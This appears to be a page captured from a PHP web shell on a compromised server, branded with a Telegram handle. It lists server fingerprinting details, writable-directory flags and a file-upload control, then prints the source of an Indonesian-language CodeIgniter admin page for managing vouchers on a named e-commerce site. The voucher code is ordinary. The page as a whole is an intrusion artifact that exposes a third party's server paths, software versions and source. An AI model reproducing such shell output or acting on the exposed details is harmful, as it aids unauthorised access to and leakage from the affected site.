https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/views/admin/vouchers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/rabbithabit.com/public_html/application/views/admin/vouchers/index.php
<div class="row">
    <div class="col-sm-12">
         <p><a href="<?= base_url('admin/promotion'); ?>"><i class="fa fa-arrow-left" aria-hidden="true"></i> Kembali ke Promosi</a></p><br>
       <h2>Administrasi Voucher</h2>
        <?= $this->session->flashdata('success'); //to display success message ?> 
        <?= $this->session->flashdata('result'); //to display result message ?> 
    </div><!-- end class="col-sm-12" --> 
</div> <!-- end row -->    


<div class="row" style="border:1px solid #ddd;">
    <div class="col-sm-12">
    <h3>Bulk Upload Vouchers</h3>
    <p>UPLOAD PRODUCTS DATA. ACCEPT ONLY .XLS. DOWNLOAD EXCEL SAMPLE <a style="color:blue;" href="<?= base_url('uploads/vouchers.xls'); ?>">HERE</a>.</p>
    <!-- <p>PS: Products data with same SKU will be updated.</p> -->
    
    <?php
        $attributes = array(
            'name' => 'uploadexcel',
            'id' => 'uploadexcel'
        );
    ?>
    <?= form_open_multipart('admin/vouchers/upload_vouchers_xls', $attributes); ?>
    <table>
        <tr>
            <td> ULPLOAD VOUCHERS: </td>
            <td>
                <div class="form-group">
                    <input style="float:left; width:60%;" type="file" class="form-control" name="userfile" id="userfile"  align="center"/><input type="submit" name="upload_excel" class="btn btn-info" value="UPLOAD">
                </div>
            </td>
        </tr>
    </table> 
    </form>
    <p>Note: During Upload, please wait until process finish. Do not close current window.</p>
    </div><!-- end class="col-sm-12" --> 
    <?= form_close(); ?>
</div> <!-- end row; --> 

    
  <!--   <?php
        $attributes = array(
            'name' => 'uploadcsv',
            'id' => 'uploadcsv'
        );
    ?>
    <?= form_open_multipart('admin/vouchers/upload_vouchers', $attributes); ?>
        <table>
            <tr>
            <td> 
                UNGGAH DATA VOUCHERS CSV: </td>
            <td>
                <div class="form-group">
                    <input style="float:left; width:60%;" type="file" class="form-control" name="userfile" id="userfile"  align="center"/><input type="submit" name="upload_csv" class="btn btn-info" value="UPLOAD">
                </div>
            </td>
        </tr>
    </table> 
    </form> -->
<!--     <p>
Catatan: Selama Upload, harap tunggu hingga proses selesai. Jangan tutup jendela saat ini.</p> -->
    <!-- </div> --><!-- end class="col-sm-12" --> 
    <!-- <?= form_close(); ?> -->
<!-- </div> --> <!-- end row; --> 


<div class="row">
    <?= form_open('admin/vouchers'); ?> 
    <div class="col-sm-5 col-xs-6"> 
        <input class="form-control" type="text" placeholder="Isi nama voucher atau kode voucher" name="voucher" 
        <?php if (isset($keyword)) : ?>
            value="<?= ucwords($keyword); ?>" 
        <?php endif; ?>>
    </div><!-- end class="col-sm-8" -->   

    <div class="col-sm-3 col-xs-6">
        <input class="btn btn-primary form-control" type="submit" name="search_voucher" value="CARI VOUCHER">
    </div><!-- end class="col-sm-6" -->    
    <?= form_close(); ?> 
</div> <!-- end row -->  


<div class="row">
    <div class="col-sm-12"> 
        
       <p><?= anchor('admin/vouchers/add', '<i class="fa fa-plus" aria-hidden="true"></i> TAMBAH VOUCHER BARU'); ?></p>
      
    </div><!-- end class="col-sm-12" --> 
</div> <!-- end row -->   

<div class="row">
    <div class="col-sm-12">
        <div class="table-responsive">
        <table class="table table-striped"> 
    <thead>
        <tr>
            <th>Nama Voucher</th>
            <th>Kode Voucher</th>
            <th>Tipe Promo</th>
            <th>Jumlah diskon</th>
            <th>Tanggal Pembuatan</th>
            <th>Tanggal kadaluarsa</th>
            <th>Lihat</th>
         
              <th>Hapus</th>
          
            
        </tr>
    </thead>
    <tbody>
        <?php if(count($vouchers)) : ?> 
        <?php foreach($vouchers as $voucher): ?>
            <tr>
                <td><?= ucfirst($voucher->voucher_name); ?></td>
                <td><?= ucfirst($voucher->voucher_code); ?></td>
                <td><?= ucwords($voucher->voucher_type); ?></td>
               
                <td>
                <?php
                   $discount_type = $voucher->discount_type;

                   if ($discount_type == 'amount') {
                       echo 'IDR ' . number_format($voucher->discount_value);
                   } else {
                       echo number_format($voucher->discount_value) . ' %'; 
                   }
                ?>
                </td>

                <td><?= ucfirst($voucher->created_date); ?></td>

                <td>
                <?php
                    if ($voucher->expired_date == NULL) {
                         echo 'tak terbatas';
                     } else {
                    echo ucfirst($voucher->expired_date); 
                    }
                ?>
                </td>
                
                <td><?= bt_edit('admin/vouchers/edit/' . $voucher->id_vouchers); ?></td>
                
                 <td><?= bt_delete('admin/vouchers/delete/' . $voucher->id_vouchers); ?></td>
               
                
            </tr>
        <?php endforeach; ?>
        <?php else: ?>
            <tr>
            <td colspan="3">Kami tidak dapat menemukan voucher apa pun.</td>
            </tr>
        <?php endif; ?>

    </tbody> 
    </table>
 </div></div></div>

<div class="row">
    <div class="col-sm-12">
        <?php if(isset($use_pagination)) : ?>
        <?php
        //create pagination...
        echo '<p style="text-align:center;">' . $this->pagination->create_links() . '</p>';
        ?>
        <?php endif; ?>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row --> 

https://t.me/RX1948 - 2025